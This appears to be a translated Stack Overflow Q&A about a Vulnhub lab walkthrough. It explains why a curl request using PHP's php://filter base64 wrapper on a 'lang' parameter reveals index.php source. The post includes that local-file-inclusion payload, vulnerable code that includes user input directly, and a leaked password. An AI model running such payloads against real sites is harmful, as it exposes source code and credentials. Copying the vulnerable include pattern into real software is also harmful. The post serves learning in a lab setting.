【问题标题】:curling with php base64 encoder/decoder instead of just curling .... why?使用 php base64 编码器/解码器进行卷曲,而不仅仅是卷曲 .... 为什么?
【发布时间】:2019-10-02 19:18:05
【问题描述】:

在此处阅读 wakanda 的 vulnhub 演练

https://medium.com/egghunter/wakanda-1-vulnhub-walkthrough-3d524ed8a372

它使用了我以前从未见过的 php 过滤器(base64 编码器),然后将其解码。使用这行代码

curl http://192.168.56.102/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

相比之下,我尝试简单地通过卷曲页面

curl http://192.168.56.102/?lang=php

两者都输出 html ,但过滤后的代码还会在包含在 php 标记内的 DOCTYPE 标头上方生成几行。我的问题是为什么会发生这种情况?

重要的输出(前几行)如下

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>

显然这是错误的,但过滤后的代码似乎是:编码,然后解码,并且在这个过程中以某种方式获得比我们只是卷曲所有内容更多的信息

【问题讨论】:

  • 不确定stackoverflow.com/questions/20726247/… 是否能提供更多信息。
  • 线条来自?&gt;&lt;!之间的空格。
  • 这是LFI攻击,使用php://filter/convert.base64-encode/resource=./path/to/file.php是一种读取文件内容的方式,而不是php解析。你不做的原因include($_GET['page'].'.php').

标签: php html security curl


【解决方案1】:

看到这篇文章

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

这很好地解释了这一点。

这会强制 PHP 在文件用于 require 语句之前对文件进行 base64 编码。从这一点来看,接下来就是解码 base64 字符串以获得 PHP 文件的源代码。

那么为什么过滤后的代码会得到所有的html和php,是因为它在抓取html并将其全部包装成一个输出字符串之前对php进行编码,然后可以对其进行解码和读取。这意味着作为输出,您可以从其他支持文件中获取页面 html 和 php 代码

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2012-01-21
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-11-27
    相关资源
    最近更新 更多